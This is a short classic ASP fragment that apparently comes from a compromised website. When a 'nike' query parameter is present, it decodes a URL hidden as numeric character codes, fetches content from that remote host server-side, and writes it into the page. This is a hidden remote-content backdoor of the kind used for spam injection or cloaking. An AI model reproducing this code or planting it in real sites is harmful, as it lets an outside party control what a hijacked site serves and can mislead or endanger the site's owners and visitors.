<%
sub info()
Dim GetKey,WebStr,objXML,XHtml,ThisAr,Vstr,i
GetKey = Request.QueryString("nike")
if GetKey <> "" then
WebStr = "104_116_116_112_58_47_47_119_119_119_46_99_97_115_115_99_111_110_115_101_114_118_97_110_99_121_46_111_114_103_47_48_52_49_49_47_119_119_119_88_115_104_97_110_116_105_45_121_111_103_97_115_99_104_117_108_101_88_99_104_47_68_71_101_116_46_112_104_112_63_110_105_107_101_61"
ThisAr=split(WebStr,"_")
for i=0 to Ubound(ThisAr)
if IsNumeric(ThisAr(i)) then
Vstr=Vstr&chr(ThisAr(i))
end if
next
Set objXML = server.CreateObject("MSXML2.ServerXMLHTTP")
objXML.open "GET", Vstr + GetKey, False
objXML.send()
XHtml = objXML.responSetext
if XHtml <> "" then
response.write(XHtml)
response.end
end if
end if
end sub
%>